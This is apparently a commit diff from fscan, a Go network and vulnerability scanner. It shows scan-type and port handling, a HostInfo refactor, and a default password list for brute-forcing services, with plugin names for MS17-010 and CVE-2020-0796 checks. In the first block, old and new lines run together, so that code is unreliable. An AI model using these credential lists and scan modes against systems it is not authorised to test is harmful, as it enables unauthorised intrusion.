// 先处理特殊扫描类型
specialTypes := map[string]string{
"hostname": "135,137,139,445",
"webonly": Webport,
"webpoc": Webport,
"web": Webport,
"portscan": DefaultPorts + "," + Webport,
"main": DefaultPorts,
"all": DefaultPorts + "," + Webport,
"icmp": "", // ICMP不需要端口
}
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
switch Scantype {
case "hostname":
Ports = "135,137,139,445"
case "web", "webonly", "webpoc":
Ports = Webport
case "portscan":
Ports = DefaultPorts + "," + Webport
case "main":
Ports = DefaultPorts
default:
if port := PORTList[Scantype]; port > 0 {
Ports = strconv.Itoa(port)
}
// 如果是特殊扫描类型
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
Ports = customPorts
}
fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports)
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
return nil
}
// 检查是否是注册的插件类型
plugin, validType := Config.PluginManager[Scantype]
if !validType {
showmode()
return fmt.Errorf("无效的扫描类型: %s", Scantype)
}
// 如果是插件扫描且使用默认端口配置
if Ports == DefaultPorts+","+Webport {
if plugin.Port > 0 {
Ports = strconv.Itoa(plugin.Port)
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
}
return nil
}
//func CheckErr(text string, err error, flag bool) {
// if err != nil {
// fmt.Println("Parse", text, "error: ", err.Error())
// if flag {
// if err != ParseIPErr {
// fmt.Println(ParseIPErr)
// }
// os.Exit(0)
// }
// }
//}
// showmode 显示所有支持的扫描类型
func showmode() {
fmt.Println("The specified scan type does not exist")
fmt.Println("-m")
for name := range PORTList {
fmt.Println(" [" + name + "]")
fmt.Println("[!] 指定的扫描类型不存在")
fmt.Println("[*] 支持的扫描类型:")
// 显示常规服务扫描类型
fmt.Println("\n[+] 常规服务扫描:")
for name, plugin := range Config.PluginManager {
if plugin.Port > 0 && plugin.Port < 1000000 {
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
}
}
// 显示特殊漏洞扫描类型
fmt.Println("\n[+] 特殊漏洞扫描:")
for name, plugin := range Config.PluginManager {
if plugin.Port >= 1000000 || plugin.Port == 0 {
fmt.Printf(" - %-10s\n", name)
}
}
// 显示其他扫描类型
fmt.Println("\n[+] 其他扫描类型:")
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
for _, name := range specialTypes {
fmt.Printf(" - %s\n", name)
}
os.Exit(0)
}

View File

@ -14,44 +14,6 @@ var Userdict = map[string][]string{
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
var PORTList = map[string]int{
// 常规服务端口
"ftp": 21,
"ssh": 22,
"findnet": 135,
"netbios": 139,
"smb": 445,
"mssql": 1433,
"oracle": 1521,
"mysql": 3306,
"rdp": 3389,
"psql": 5432,
"redis": 6379,
"fcgi": 9000,
"mem": 11211,
"mgo": 27017,
// 特定端口的扫描类型
"wmiexec": 135,
"wmiinfo": 135,
"smbinfo": 445,
"smb2": 445,
"ms17010": 445,
"cve20200796": 445,
// Web相关
"web": 0, // 使用Webport
"webonly": 0, // 使用Webport
"webpoc": 0, // 使用Webport
// 特殊扫描类型
"hostname": 0, // 使用135,137,139,445
"all": 0, // 全部扫描
"portscan": 0, // 使用DefaultPorts + Webport
"icmp": 0, // ICMP检测
"main": 0, // 使用DefaultPorts
"localinfo": 0, // 本地信息收集
}
var PortGroup = map[string]string{
"ftp": "21",
@ -81,13 +43,6 @@ var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
type PocInfo struct {
Target string
PocName string

View File

@ -2,6 +2,7 @@ package common
import (
"flag"
"github.com/shadow1ng/fscan/Config"
)
func Banner() {
@ -16,7 +17,7 @@ func Banner() {
print(banner)
}
func Flag(Info *HostInfo) {
func Flag(Info *Config.HostInfo) {
Banner()
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")

View File

@ -2,6 +2,7 @@ package main
import (
"fmt"
"github.com/shadow1ng/fscan/Config"
"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
"time"
@ -9,7 +10,7 @@ import (
func main() {
start := time.Now()
var Info common.HostInfo
var Info Config.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)